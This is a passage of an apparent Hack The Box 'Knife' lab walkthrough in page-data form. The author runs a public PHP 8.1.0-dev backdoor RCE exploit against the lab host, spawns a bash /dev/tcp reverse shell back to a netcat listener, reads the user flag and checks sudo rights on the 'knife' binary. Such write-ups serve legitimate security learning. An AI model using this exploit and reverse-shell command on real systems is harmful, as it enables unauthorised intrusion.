php\u002Fwebapps\u002F41885.txt\nConcrete5 CMS \u003C 8.3.0 - Username \u002F Comments E | php\u002Fwebapps\u002F44194.py\ncPanel \u003C 11.25 - Cross-Site Request Forgery ( | php\u002Fwebapps\u002F17330.html\nDrupal \u003C 7.58 \u002F \u003C 8.3.9 \u002F \u003C 8.4.6 \u002F \u003C 8.5.1 - | php\u002Fwebapps\u002F44449.rb\nDrupal \u003C 8.3.9 \u002F \u003C 8.4.6 \u002F \u003C 8.5.1 - 'Drupalg | php\u002Fremote\u002F44482.rb\nDrupal \u003C 8.3.9 \u002F \u003C 8.4.6 \u002F \u003C 8.5.1 - 'Drupalg | php\u002Fremote\u002F44482.rb\nDrupal \u003C 8.3.9 \u002F \u003C 8.4.6 \u002F \u003C 8.5.1 - 'Drupalg | php\u002Fwebapps\u002F44448.py\nDrupal \u003C 8.5.11 \u002F \u003C 8.6.10 - RESTful Web Serv | php\u002Fremote\u002F46510.rb\nDrupal \u003C 8.5.11 \u002F \u003C 8.6.10 - RESTful Web Serv | php\u002Fremote\u002F46510.rb\nDrupal \u003C 8.6.10 \u002F \u003C 8.5.11 - REST Module Remo | php\u002Fwebapps\u002F46452.txt\nDrupal \u003C 8.6.9 - REST Module Remote Code Exec | php\u002Fwebapps\u002F46459.py\nFileRun \u003C 2017.09.18 - SQL Injection | php\u002Fwebapps\u002F42922.py\nFozzcom Shopping \u003C 7.94 \u002F \u003C 8.04 - Multiple V | php\u002Fwebapps\u002F15571.txt\nFreePBX \u003C 13.0.188 - Remote Command Execution | php\u002Fremote\u002F40434.rb\nIceWarp Mail Server \u003C 11.1.1 - Directory Trav | php\u002Fwebapps\u002F44587.txt\nKACE System Management Appliance (SMA) \u003C 9.0. | php\u002Fwebapps\u002F46956.txt\nKaltura \u003C 13.2.0 - Remote Code Execution | php\u002Fwebapps\u002F43028.py\nKaltura Community Edition \u003C 11.1.0-2 - Multip | php\u002Fwebapps\u002F39563.txt\nMicro Focus Secure Messaging Gateway (SMG) \u003C | php\u002Fwebapps\u002F45083.rb\nMicro Focus Secure Messaging Gateway (SMG) \u003C | php\u002Fwebapps\u002F45083.rb\nNPDS \u003C 08.06 - Multiple Input Validation Vuln | php\u002Fwebapps\u002F32689.txt\nOPNsense \u003C 19.1.1 - Cross-Site Scripting | php\u002Fwebapps\u002F46351.txt\nPHP 8.1.0-dev - 'User-Agentt' Remote Code Exe | php\u002Fwebapps\u002F49933.py\nPHP-Nuke 8.1.0.3.5b - 'Downloads' Blind SQL I | php\u002Fwebapps\u002F18148.pl\nPHP-Nuke 8.1.0.3.5b - Remote Command Executio | php\u002Fwebapps\u002F14319.pl\nPHP-Nuke 8.1.0.3.5b (Your_Account Module) - B | php\u002Fwebapps\u002F14320.pl\nPlesk \u003C 9.5.4 - Remote Command Execution | php\u002Fremote\u002F25986.txt\nREDCap \u003C 9.1.2 - Cross-Site Scripting | php\u002Fwebapps\u002F47146.txt\nResponsive FileManager \u003C 9.13.4 - Directory T | php\u002Fwebapps\u002F45271.txt\nResponsive Filemanger \u003C= 9.11.0 - Arbitrary F | php\u002Fwebapps\u002F41272.txt\nScriptCase 8.1.053 - Multiple Vulnerabilities | php\u002Fwebapps\u002F40791.txt\nShoreTel Connect ONSITE \u003C 19.49.1500.0 - Mult | php\u002Fwebapps\u002F46666.txt\nWestern Digital Arkeia \u003C 10.0.10 - Remote Cod | php\u002Fremote\u002F28407.rb\nWordPress Plugin DZS Videogallery \u003C 8.60 - Mu | php\u002Fwebapps\u002F39553.txt\nZoho ManageEngine ADSelfService Plus 5.7 \u003C 57 | php\u002Fwebapps\u002F46815.txt\n---------------------------------------------- ---------------------------------\nShellcodes: No Results\n",[25,1384,1385,1389,1396,1404,1418,1424,1456,1483,1515,1545,1573,1611,1638,1653,1680,1685,1689,1694,1699,1704,1709,1714,1719,1724,1729,1734,1739,1743,1748,1753,1768,1783,1788,1793,1798,1803,1808,1813,1818,1823,1828,1833,1838,1843],{"__ignoreMap":23},[28,1386,1387],{"class":30,"line":31},[28,1388,162],{"class":34},[28,1390,1391,1393],{"class":30,"line":38},[28,1392,41],{"class":34},[28,1394,1395],{"class":169}," [★]$ searchsploit PHP 8.1.0\n",[28,1397,1398,1401],{"class":30,"line":48},[28,1399,1400],{"class":34},"----------------------------------------------",[28,1402,1403],{"class":201}," ---------------------------------\n",[28,1405,1406,1409,1412,1415],{"class":30,"line":58},[28,1407,1408],{"class":34}," Exploit",[28,1410,1411],{"class":54}," Title",[28,1413,1414],{"class":905}," |",[28,1416,1417],{"class":34}," Path\n",[28,1419,1420,1422],{"class":30,"line":67},[28,1421,1400],{"class":34},[28,1423,1403],{"class":201},[28,1425,1426,1429,1432,1435,1438,1441,1444,1447,1450,1453],{"class":30,"line":74},[28,1427,1428],{"class":34},"autonomous",[28,1430,1431],{"class":54}," lan",[28,1433,1434],{"class":54}," party",[28,1436,1437],{"class":201}," 0.98.1.0",[28,1439,1440],{"class":54}," -",[28,1442,1443],{"class":54}," Remote",[28,1445,1446],{"class":54}," File",[28,1448,1449],{"class":54}," I",[28,1451,1452],{"class":905}," |",[28,1454,1455],{"class":34}," php\u002Fwebapps\u002F1654.txt\n",[28,1457,1458,1461,1464,1467,1470,1473,1475,1478,1480],{"class":30,"line":83},[28,1459,1460],{"class":34},"Composr-CMS",[28,1462,1463],{"class":54}," Version",[28,1465,1466],{"class":905}," \u003C",[28,1468,1469],{"class":54},"=",[28,1471,1472],{"class":201},"10.0.39",[28,1474,1440],{"class":54},[28,1476,1477],{"class":54}," Authenticated",[28,1479,1452],{"class":905},[28,1481,1482],{"class":34}," php\u002Fwebapps\u002F51060.txt\n",[28,1484,1485,1488,1491,1494,1496,1499,1501,1504,1507,1510,1512],{"class":30,"line":88},[28,1486,1487],{"class":34},"Concrete5",[28,1489,1490],{"class":54}," CMS",[28,1492,1493],{"class":201}," 8.1.0",[28,1495,1440],{"class":54},[28,1497,1498],{"class":890}," '",[28,1500,761],{"class":54},[28,1502,1503],{"class":890},"'",[28,1505,1506],{"class":54}," Header",[28,1508,1509],{"class":54}," Injection",[28,1511,1452],{"class":905},[28,1513,1514],{"class":34}," php\u002Fwebapps\u002F41885.txt\n",[28,1516,1517,1519,1521,1523,1526,1528,1531,1534,1537,1540,1542],{"class":30,"line":94},[28,1518,1487],{"class":34},[28,1520,1490],{"class":54},[28,1522,1466],{"class":905},[28,1524,1525],{"class":201}," 8.3.0",[28,1527,1440],{"class":54},[28,1529,1530],{"class":54}," Username",[28,1532,1533],{"class":54}," \u002F",[28,1535,1536],{"class":54}," Comments",[28,1538,1539],{"class":54}," E",[28,1541,1452],{"class":905},[28,1543,1544],{"class":34}," php\u002Fwebapps\u002F44194.py\n",[28,1546,1547,1550,1552,1555,1557,1560,1563,1566,1568,1570],{"class":30,"line":113},[28,1548,1549],{"class":34},"cPanel",[28,1551,1466],{"class":905},[28,1553,1554],{"class":201}," 11.25",[28,1556,1440],{"class":54},[28,1558,1559],{"class":54}," Cross-Site",[28,1561,1562],{"class":54}," Request",[28,1564,1565],{"class":54}," Forgery",[28,1567,184],{"class":169},[28,1569,906],{"class":905},[28,1571,1572],{"class":34}," php\u002Fwebapps\u002F17330.html\n",[28,1574,1575,1578,1580,1583,1585,1587,1590,1592,1594,1597,1599,1601,1604,1606,1608],{"class":30,"line":122},[28,1576,1577],{"class":34},"Drupal",[28,1579,1466],{"class":905},[28,1581,1582],{"class":201}," 7.58",[28,1584,1533],{"class":54},[28,1586,1466],{"class":905},[28,1588,1589],{"class":201}," 8.3.9",[28,1591,1533],{"class":54},[28,1593,1466],{"class":905},[28,1595,1596],{"class":201}," 8.4.6",[28,1598,1533],{"class":54},[28,1600,1466],{"class":905},[28,1602,1603],{"class":201}," 8.5.1",[28,1605,1440],{"class":54},[28,1607,1452],{"class":905},[28,1609,1610],{"class":34}," php\u002Fwebapps\u002F44449.rb\n",[28,1612,1613,1615,1617,1619,1621,1623,1625,1627,1629,1631,1633,1635],{"class":30,"line":131},[28,1614,1577],{"class":34},[28,1616,1466],{"class":905},[28,1618,1589],{"class":201},[28,1620,1533],{"class":54},[28,1622,1466],{"class":905},[28,1624,1596],{"class":201},[28,1626,1533],{"class":54},[28,1628,1466],{"class":905},[28,1630,1603],{"class":201},[28,1632,1440],{"class":54},[28,1634,1498],{"class":890},[28,1636,1637],{"class":54},"Drupalg | php\u002Fremote\u002F44482.rb\n",[28,1639,1640,1643,1645,1648,1650],{"class":30,"line":139},[28,1641,1642],{"class":54},"Drupal \u003C 8.3.9 \u002F \u003C 8.4.6 \u002F \u003C 8.5.1 - ",[28,1644,1503],{"class":890},[28,1646,1647],{"class":54},"Drupalg",[28,1649,1452],{"class":905},[28,1651,1652],{"class":34}," php\u002Fremote\u002F44482.rb\n",[28,1654,1655,1657,1659,1661,1663,1665,1667,1669,1671,1673,1675,1677],{"class":30,"line":346},[28,1656,1577],{"class":34},[28,1658,1466],{"class":905},[28,1660,1589],{"class":201},[28,1662,1533],{"class":54},[28,1664,1466],{"class":905},[28,1666,1596],{"class":201},[28,1668,1533],{"class":54},[28,1670,1466],{"class":905},[28,1672,1603],{"class":201},[28,1674,1440],{"class":54},[28,1676,1498],{"class":890},[28,1678,1679],{"class":54},"Drupalg | php\u002Fwebapps\u002F44448.py\n",[28,1681,1682],{"class":30,"line":361},[28,1683,1684],{"class":54},"Drupal \u003C 8.5.11 \u002F \u003C 8.6.10 - RESTful Web Serv | php\u002Fremote\u002F46510.rb\n",[28,1686,1687],{"class":30,"line":376},[28,1688,1684],{"class":54},[28,1690,1691],{"class":30,"line":400},[28,1692,1693],{"class":54},"Drupal \u003C 8.6.10 \u002F \u003C 8.5.11 - REST Module Remo | php\u002Fwebapps\u002F46452.txt\n",[28,1695,1696],{"class":30,"line":431},[28,1697,1698],{"class":54},"Drupal \u003C 8.6.9 - REST Module Remote Code Exec | php\u002Fwebapps\u002F46459.py\n",[28,1700,1701],{"class":30,"line":448},[28,1702,1703],{"class":54},"FileRun \u003C 2017.09.18 - SQL Injection | php\u002Fwebapps\u002F42922.py\n",[28,1705,1706],{"class":30,"line":466},[28,1707,1708],{"class":54},"Fozzcom Shopping \u003C 7.94 \u002F \u003C 8.04 - Multiple V | php\u002Fwebapps\u002F15571.txt\n",[28,1710,1711],{"class":30,"line":487},[28,1712,1713],{"class":54},"FreePBX \u003C 13.0.188 - Remote Command Execution | php\u002Fremote\u002F40434.rb\n",[28,1715,1716],{"class":30,"line":503},[28,1717,1718],{"class":54},"IceWarp Mail Server \u003C 11.1.1 - Directory Trav | php\u002Fwebapps\u002F44587.txt\n",[28,1720,1721],{"class":30,"line":532},[28,1722,1723],{"class":54},"KACE System Management Appliance (SMA) \u003C 9.0. | php\u002Fwebapps\u002F46956.txt\n",[28,1725,1726],{"class":30,"line":547},[28,1727,1728],{"class":54},"Kaltura \u003C 13.2.0 - Remote Code Execution | php\u002Fwebapps\u002F43028.py\n",[28,1730,1731],{"class":30,"line":564},[28,1732,1733],{"class":54},"Kaltura Community Edition \u003C 11.1.0-2 - Multip | php\u002Fwebapps\u002F39563.txt\n",[28,1735,1736],{"class":30,"line":597},[28,1737,1738],{"class":54},"Micro Focus Secure Messaging Gateway (SMG) \u003C | php\u002Fwebapps\u002F45083.rb\n",[28,1740,1741],{"class":30,"line":610},[28,1742,1738],{"class":54},[28,1744,1745],{"class":30,"line":627},[28,1746,1747],{"class":54},"NPDS \u003C 08.06 - Multiple Input Validation Vuln | php\u002Fwebapps\u002F32689.txt\n",[28,1749,1750],{"class":30,"line":638},[28,1751,1752],{"class":54},"OPNsense \u003C 19.1.1 - Cross-Site Scripting | php\u002Fwebapps\u002F46351.txt\n",[28,1754,1755,1758,1760,1763,1765],{"class":30,"line":654},[28,1756,1757],{"class":54},"PHP 8.1.0-dev - ",[28,1759,1503],{"class":890},[28,1761,1762],{"class":54},"User-Agentt",[28,1764,1503],{"class":890},[28,1766,1767],{"class":54}," Remote Code Exe | php\u002Fwebapps\u002F49933.py\n",[28,1769,1770,1773,1775,1778,1780],{"class":30,"line":671},[28,1771,1772],{"class":54},"PHP-Nuke 8.1.0.3.5b - ",[28,1774,1503],{"class":890},[28,1776,1777],{"class":54},"Downloads",[28,1779,1503],{"class":890},[28,1781,1782],{"class":54}," Blind SQL I | php\u002Fwebapps\u002F18148.pl\n",[28,1784,1785],{"class":30,"line":682},[28,1786,1787],{"class":54},"PHP-Nuke 8.1.0.3.5b - Remote Command Executio | php\u002Fwebapps\u002F14319.pl\n",[28,1789,1790],{"class":30,"line":698},[28,1791,1792],{"class":54},"PHP-Nuke 8.1.0.3.5b (Your_Account Module) - B | php\u002Fwebapps\u002F14320.pl\n",[28,1794,1795],{"class":30,"line":715},[28,1796,1797],{"class":54},"Plesk \u003C 9.5.4 - Remote Command Execution | php\u002Fremote\u002F25986.txt\n",[28,1799,1800],{"class":30,"line":726},[28,1801,1802],{"class":54},"REDCap \u003C 9.1.2 - Cross-Site Scripting | php\u002Fwebapps\u002F47146.txt\n",[28,1804,1805],{"class":30,"line":741},[28,1806,1807],{"class":54},"Responsive FileManager \u003C 9.13.4 - Directory T | php\u002Fwebapps\u002F45271.txt\n",[28,1809,1810],{"class":30,"line":758},[28,1811,1812],{"class":54},"Responsive Filemanger \u003C= 9.11.0 - Arbitrary F | php\u002Fwebapps\u002F41272.txt\n",[28,1814,1815],{"class":30,"line":791},[28,1816,1817],{"class":54},"ScriptCase 8.1.053 - Multiple Vulnerabilities | php\u002Fwebapps\u002F40791.txt\n",[28,1819,1820],{"class":30,"line":813},[28,1821,1822],{"class":54},"ShoreTel Connect ONSITE \u003C 19.49.1500.0 - Mult | php\u002Fwebapps\u002F46666.txt\n",[28,1824,1825],{"class":30,"line":836},[28,1826,1827],{"class":54},"Western Digital Arkeia \u003C 10.0.10 - Remote Cod | php\u002Fremote\u002F28407.rb\n",[28,1829,1830],{"class":30,"line":854},[28,1831,1832],{"class":54},"WordPress Plugin DZS Videogallery \u003C 8.60 - Mu | php\u002Fwebapps\u002F39553.txt\n",[28,1834,1835],{"class":30,"line":902},[28,1836,1837],{"class":54},"Zoho ManageEngine ADSelfService Plus 5.7 \u003C 57 | php\u002Fwebapps\u002F46815.txt\n",[28,1839,1840],{"class":30,"line":915},[28,1841,1842],{"class":54},"---------------------------------------------- ---------------------------------\n",[28,1844,1845],{"class":30,"line":929},[28,1846,1847],{"class":54},"Shellcodes: No Results\n",[11,1849,1850],{},"I then copy the exploit “User Agent” RCE (49933.py) into my current directory and execute it. A shell opens directly to the target system.",[15,1852,1853],{},[18,1854,1856],{"className":20,"code":1855,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-sknjhnbkwa]─[~]\n└──╼ [★]$ cp \u002Fusr\u002Fshare\u002Fexploitdb\u002Fexploits\u002Fphp\u002Fwebapps\u002F49933.py .\n┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-sknjhnbkwa]─[~]\n└──╼ [★]$ ls\n49933.py Desktop Downloads my_data Public Videos\ncacert.der Documents Music Pictures Templates\n┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-sknjhnbkwa]─[~]\n└──╼ [★]$ python3 49933.py\nEnter the full host url:\nhttp:\u002F\u002Fknife.htb\n\nInteractive shell is opened on http:\u002F\u002Fknife.htb \nCan't acces tty; job crontol turned off.\n$\n",[25,1857,1858,1862,1872,1876,1883,1903,1920,1924,1931,1947,1952,1956,1976,1984],{"__ignoreMap":23},[28,1859,1860],{"class":30,"line":31},[28,1861,162],{"class":34},[28,1863,1864,1866,1869],{"class":30,"line":38},[28,1865,41],{"class":34},[28,1867,1868],{"class":169}," [★]$ cp \u002Fusr\u002Fshare\u002Fexploitdb\u002Fexploits\u002Fphp\u002Fwebapps\u002F49933.py ",[28,1870,1871],{"class":97},".\n",[28,1873,1874],{"class":30,"line":48},[28,1875,162],{"class":34},[28,1877,1878,1880],{"class":30,"line":58},[28,1879,41],{"class":34},[28,1881,1882],{"class":169}," [★]$ ls\n",[28,1884,1885,1888,1891,1894,1897,1900],{"class":30,"line":67},[28,1886,1887],{"class":34},"49933.py",[28,1889,1890],{"class":54}," Desktop",[28,1892,1893],{"class":54}," Downloads",[28,1895,1896],{"class":54}," my_data",[28,1898,1899],{"class":54}," Public",[28,1901,1902],{"class":54}," Videos\n",[28,1904,1905,1908,1911,1914,1917],{"class":30,"line":74},[28,1906,1907],{"class":34},"cacert.der",[28,1909,1910],{"class":54}," Documents",[28,1912,1913],{"class":54}," Music",[28,1915,1916],{"class":54}," Pictures",[28,1918,1919],{"class":54}," Templates\n",[28,1921,1922],{"class":30,"line":83},[28,1923,162],{"class":34},[28,1925,1926,1928],{"class":30,"line":88},[28,1927,41],{"class":34},[28,1929,1930],{"class":169}," [★]$ python3 49933.py\n",[28,1932,1933,1936,1939,1942,1944],{"class":30,"line":94},[28,1934,1935],{"class":34},"Enter",[28,1937,1938],{"class":54}," the",[28,1940,1941],{"class":54}," full",[28,1943,592],{"class":54},[28,1945,1946],{"class":54}," url:\n",[28,1948,1949],{"class":30,"line":113},[28,1950,1951],{"class":34},"http:\u002F\u002Fknife.htb\n",[28,1953,1954],{"class":30,"line":122},[28,1955,71],{"emptyLinePlaceholder":70},[28,1957,1958,1961,1964,1966,1969,1971,1974],{"class":30,"line":131},[28,1959,1960],{"class":34},"Interactive",[28,1962,1963],{"class":54}," shell",[28,1965,764],{"class":54},[28,1967,1968],{"class":54}," opened",[28,1970,481],{"class":54},[28,1972,1973],{"class":54}," http:\u002F\u002Fknife.htb",[28,1975,912],{"class":169},[28,1977,1978,1981],{"class":30,"line":139},[28,1979,1980],{"class":34},"Can",[28,1982,1983],{"class":34},"'t acces tty; job crontol turned off.\n",[28,1985,1986],{"class":30,"line":346},[28,1987,1988],{"class":34},"$\n",[11,1990,1991],{},"Unfortunately, the shell is not really stable. For this reason, I start Netcat in a separate terminal and manually enter the command for a reverse shell.",[15,1993,1994],{},[18,1995,1997],{"className":20,"code":1996,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-sknjhnbkwa]─[~]\n└──╼ [★]$ python3 49933.py \nEnter the full host url:\nhttp:\u002F\u002Fknife.htb\n\nInteractive shell is opened on http:\u002F\u002Fknife.htb \nCan't acces tty; job crontol turned off.\n$ bash -c \"bash -i >& \u002Fdev\u002Ftcp\u002F10.10.14.76\u002F9001 0>&1\"\n",[25,1998,1999,2003,2010,2022,2026,2030,2046,2052],{"__ignoreMap":23},[28,2000,2001],{"class":30,"line":31},[28,2002,162],{"class":34},[28,2004,2005,2007],{"class":30,"line":38},[28,2006,41],{"class":34},[28,2008,2009],{"class":169}," [★]$ python3 49933.py \n",[28,2011,2012,2014,2016,2018,2020],{"class":30,"line":48},[28,2013,1935],{"class":34},[28,2015,1938],{"class":54},[28,2017,1941],{"class":54},[28,2019,592],{"class":54},[28,2021,1946],{"class":54},[28,2023,2024],{"class":30,"line":58},[28,2025,1951],{"class":34},[28,2027,2028],{"class":30,"line":67},[28,2029,71],{"emptyLinePlaceholder":70},[28,2031,2032,2034,2036,2038,2040,2042,2044],{"class":30,"line":74},[28,2033,1960],{"class":34},[28,2035,1963],{"class":54},[28,2037,764],{"class":54},[28,2039,1968],{"class":54},[28,2041,481],{"class":54},[28,2043,1973],{"class":54},[28,2045,912],{"class":169},[28,2047,2048,2050],{"class":30,"line":83},[28,2049,1980],{"class":34},[28,2051,1983],{"class":34},[28,2053,2054],{"class":30,"line":88},[28,2055,2056],{"class":34},"$ bash -c \"bash -i >& \u002Fdev\u002Ftcp\u002F10.10.14.76\u002F9001 0>&1\"\n",[11,2058,2059],{},"Now I have a more stable reverse shell on my separate terminal with Netcat.",[15,2061,2062],{},[18,2063,2065],{"className":20,"code":2064,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-sknjhnbkwa]─[~]\n└──╼ [★]$ nc -lvnp 9001\nlistening on [any] 9001 ...\nconnect to [10.10.14.76] from (UNKNOWN) [10.129.215.155] 48340\nbash: cannot set terminal process group (899): Inappropriate ioctl for device\nbash: no job control in this shell\njames@knife:\u002F$\n",[25,2066,2067,2071,2078,2088,2115,2145,2167],{"__ignoreMap":23},[28,2068,2069],{"class":30,"line":31},[28,2070,162],{"class":34},[28,2072,2073,2075],{"class":30,"line":38},[28,2074,41],{"class":34},[28,2076,2077],{"class":169}," [★]$ nc -lvnp 9001\n",[28,2079,2080,2083,2085],{"class":30,"line":48},[28,2081,2082],{"class":34},"listening",[28,2084,481],{"class":54},[28,2086,2087],{"class":169}," [any] 9001 ...\n",[28,2089,2090,2093,2096,2099,2102,2105,2107,2109,2112],{"class":30,"line":58},[28,2091,2092],{"class":34},"connect",[28,2094,2095],{"class":54}," to",[28,2097,2098],{"class":169}," [10.10.14.76] from (",[28,2100,2101],{"class":34},"UNKNOWN",[28,2103,2104],{"class":169},") ",[28,2106,388],{"class":97},[28,2108,77],{"class":169},[28,2110,2111],{"class":97},"]",[28,2113,2114],{"class":169}," 48340\n",[28,2116,2117,2120,2123,2126,2129,2132,2135,2138,2142],{"class":30,"line":67},[28,2118,2119],{"class":34},"bash:",[28,2121,2122],{"class":54}," cannot",[28,2124,2125],{"class":54}," set",[28,2127,2128],{"class":54}," terminal",[28,2130,2131],{"class":54}," process",[28,2133,2134],{"class":54}," group",[28,2136,2137],{"class":169}," (899): Inappropriate ioctl ",[28,2139,2141],{"class":2140},"sBQf5","for",[28,2143,2144],{"class":169}," device\n",[28,2146,2147,2149,2152,2155,2158,2161,2164],{"class":30,"line":74},[28,2148,2119],{"class":34},[28,2150,2151],{"class":54}," no",[28,2153,2154],{"class":54}," job",[28,2156,2157],{"class":54}," control",[28,2159,2160],{"class":54}," in",[28,2162,2163],{"class":54}," this",[28,2165,2166],{"class":54}," shell\n",[28,2168,2169],{"class":30,"line":83},[28,2170,2171],{"class":34},"james@knife:\u002F$\n",[11,2173,2174],{},"The user flag can then be found relatively quickly.",[15,2176,2177],{},[18,2178,2180],{"className":20,"code":2179,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-aastmc1dve]─[~]\n└──╼ [★]$ nc -lvnp 9001\nlistening on [any] 9001 ...\nconnect to [10.10.14.76] from (UNKNOWN) [10.129.214.39] 51830\nbash: cannot set terminal process group (889): Inappropriate ioctl for device\nbash: no job control in this shell\njames@knife:\u002F$ cd\ncd\njames@knife:~$ ls\nls\nuser.txt\njames@knife:~$ cat user.txt\ncat user.txt\n32dcd2a6c5b76d21dfa21c19b0bca263\njames@knife:~$ \n",[25,2181,2182,2187,2193,2201,2223,2244,2260,2268,2273,2281,2286,2291,2301,2308,2313],{"__ignoreMap":23},[28,2183,2184],{"class":30,"line":31},[28,2185,2186],{"class":34},"┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-aastmc1dve]─[~]\n",[28,2188,2189,2191],{"class":30,"line":38},[28,2190,41],{"class":34},[28,2192,2077],{"class":169},[28,2194,2195,2197,2199],{"class":30,"line":48},[28,2196,2082],{"class":34},[28,2198,481],{"class":54},[28,2200,2087],{"class":169},[28,2202,2203,2205,2207,2209,2211,2213,2215,2218,2220],{"class":30,"line":58},[28,2204,2092],{"class":34},[28,2206,2095],{"class":54},[28,2208,2098],{"class":169},[28,2210,2101],{"class":34},[28,2212,2104],{"class":169},[28,2214,388],{"class":97},[28,2216,2217],{"class":169},"10.129.214.39",[28,2219,2111],{"class":97},[28,2221,2222],{"class":169}," 51830\n",[28,2224,2225,2227,2229,2231,2233,2235,2237,2240,2242],{"class":30,"line":67},[28,2226,2119],{"class":34},[28,2228,2122],{"class":54},[28,2230,2125],{"class":54},[28,2232,2128],{"class":54},[28,2234,2131],{"class":54},[28,2236,2134],{"class":54},[28,2238,2239],{"class":169}," (889): Inappropriate ioctl ",[28,2241,2141],{"class":2140},[28,2243,2144],{"class":169},[28,2245,2246,2248,2250,2252,2254,2256,2258],{"class":30,"line":74},[28,2247,2119],{"class":34},[28,2249,2151],{"class":54},[28,2251,2154],{"class":54},[28,2253,2157],{"class":54},[28,2255,2160],{"class":54},[28,2257,2163],{"class":54},[28,2259,2166],{"class":54},[28,2261,2262,2265],{"class":30,"line":83},[28,2263,2264],{"class":34},"james@knife:\u002F$",[28,2266,2267],{"class":54}," cd\n",[28,2269,2270],{"class":30,"line":88},[28,2271,2272],{"class":97},"cd\n",[28,2274,2275,2278],{"class":30,"line":94},[28,2276,2277],{"class":34},"james@knife:~$",[28,2279,2280],{"class":54}," ls\n",[28,2282,2283],{"class":30,"line":113},[28,2284,2285],{"class":34},"ls\n",[28,2287,2288],{"class":30,"line":122},[28,2289,2290],{"class":34},"user.txt\n",[28,2292,2293,2295,2298],{"class":30,"line":131},[28,2294,2277],{"class":34},[28,2296,2297],{"class":54}," cat",[28,2299,2300],{"class":54}," user.txt\n",[28,2302,2303,2306],{"class":30,"line":139},[28,2304,2305],{"class":34},"cat",[28,2307,2300],{"class":54},[28,2309,2310],{"class":30,"line":346},[28,2311,2312],{"class":34},"32dcd2a6c5b76d21dfa21c19b0bca263\n",[28,2314,2315],{"class":30,"line":361},[28,2316,2317],{"class":34},"james@knife:~$\n",[11,2319,2320],{},"I then use the command “sudo -l” to check what our user may be able to execute with sudo permissions. Here we find a binary with the name “knife”.",[15,2322,2323],{},[18,2324,2326],{"className":20,"code":2325,"language":22,"meta":23,"style":23},"james@knife:\u002F$ sudo -l\nsudo -l\nMatching Defaults entries for james on knife:\n env_reset, mail_badpass,\n secure_path=\u002Fusr\u002Flocal\u002Fsbin\\:\u002Fusr\u002Flocal\u002Fbin\\:\u002Fusr\u002Fsbin\\:\u002Fusr\u002Fbin\\:\u002Fsbin\\:\u002Fbin\\:\u002Fsnap\u002Fbin\n\nUser james may run the following commands on knife:\n (root) NOPASSWD: \u002Fusr\u002Fbin\u002Fknife\njames@knife:\u002F$\n",[25,2327,2328,2338,2345,2366,2374,2416,2420,2445,2462],{"__ignoreMap":23},[28,2329,2330,2332,2335],{"class":30,"line":31},[28,2331,2264],{"class":34},[28,2333,2334],{"class":54}," sudo",[28,2336,2337],{"class":201}," -l\n",[28,2339,2340,2343],{"class":30,"line":38},[28,2341,2342],{"class":34},"sudo",[28,2344,2337],{"class":201},[28,2346,2347,2350,2353,2356,2358,2361,2363],{"class":30,"line":48},[28,2348,2349],{"class":34},"Matching",[28,2351,2352],{"class":54}," Defaults",[28,2354,2355],{"class":54}," entries",[28,2357,208],{"class":54},[28,2359,2360],{"class":54}," james",[28,2362,481],{"class":54},[28,2364,2365],{"class":54}," knife:\n",[28,2367,2368,2371],{"class":30,"line":58},[28,2369,2370],{"class":34}," env_reset,",[28,2372,2373],{"class":54}," mail_badpass,\n",[28,2375,2376,2380,2382,2385,2388,2391,2393,2396,2398,2401,2403,2406,2408,2411,2413],{"class":30,"line":67},[28,2377,2379],{"class":2378},"sMWUE"," secure_path",[28,2381,1469],{"class":905},[28,2383,2384],{"class":54},"\u002Fusr\u002Flocal\u002Fsbin",[28,2386,2387],{"class":201},"\\:",[28,2389,2390],{"class":54},"\u002Fusr\u002Flocal\u002Fbin",[28,2392,2387],{"class":201},[28,2394,2395],{"class":54},"\u002Fusr\u002Fsbin",[28,2397,2387],{"class":201},[28,2399,2400],{"class":54},"\u002Fusr\u002Fbin",[28,2402,2387],{"class":201},[28,2404,2405],{"class":54},"\u002Fsbin",[28,2407,2387],{"class":201},[28,2409,2410],{"class":54},"\u002Fbin",[28,2412,2387],{"class":201},[28,2414,2415],{"class":54},"\u002Fsnap\u002Fbin\n",[28,2417,2418],{"class":30,"line":74},[28,2419,71],{"emptyLinePlaceholder":70},[28,2421,2422,2425,2427,2430,2433,2435,2438,2441,2443],{"class":30,"line":83},[28,2423,2424],{"class":34},"User",[28,2426,2360],{"class":54},[28,2428,2429],{"class":54}," may",[28,2431,2432],{"class":54}," run",[28,2434,1938],{"class":54},[28,2436,2437],{"class":54}," following",[28,2439,2440],{"class":54}," commands",[28,2442,481],{"class":54},[28,2444,2365],{"class":54},[28,2446,2447,2450,2453,2456,2459],{"class":30,"line":88},[28,2448,2449],{"class":890}," (",[28,2451,2452],{"class":34},"root",[28,2454,2455],{"class":890},")",[28,2457,2458],{"class":34}," NOPASSWD:",[28,2460,2461],{"class":54}," \u002Fusr\u002Fbin\u002Fknife\n",[28,2463,2464],{"class":30,"line":94},[28,2465,2171],{"class":34},[11,2467,2468],{},"The binary has a help parameter, which I use to display all possible options.",[15,2470,2471],{},[18,2472,2474],{"className":20,"code":2473,"language":22,"meta":23,"style":23},"james@knife:\u002F$ \u002Fusr\u002Fbin\u002Fknife --help\n\u002Fusr\u002Fbin\u002Fknife --help\nChef Infra Client: 16.10.8\n\nDocs: https:\u002F\u002Fdocs.chef.io\u002Fworkstation\u002Fknife\u002F\nPatents: https:\u002F\u002Fwww.chef.io\u002Fpatents\n\nUsage: knife sub-command (options)\n -s, --server-url URL Chef Infra Server URL.\n --chef-zero-host HOST Host to start Chef Infra Zero on.\n --chef-zero-port PORT Port (or port range) to start Chef Infra Zero on. Port ranges like 1000,1010 or 8889-9999 will try all given ports until one works.\n -k, --key KEY Chef Infra Server API client key.\n --[no-]color Use colored output, defaults to enabled.\n -c, --config CONFIG The configuration file to use.\n --config-option OPTION=VALUE Override a single configuration option.\n --defaults Accept default values for all questions.\n -d, --disable-editing Do not open EDITOR, just accept the data as is.\n -e, --editor EDITOR Set the editor to use for interactive commands.\n -E, --environment ENVIRONMENT Set the Chef Infra Client environment (except for in searches, where this will be flagrantly ignored).\n --[no-]fips Enable FIPS mode.\n -F, --format FORMAT Which format to use for output. (valid options: 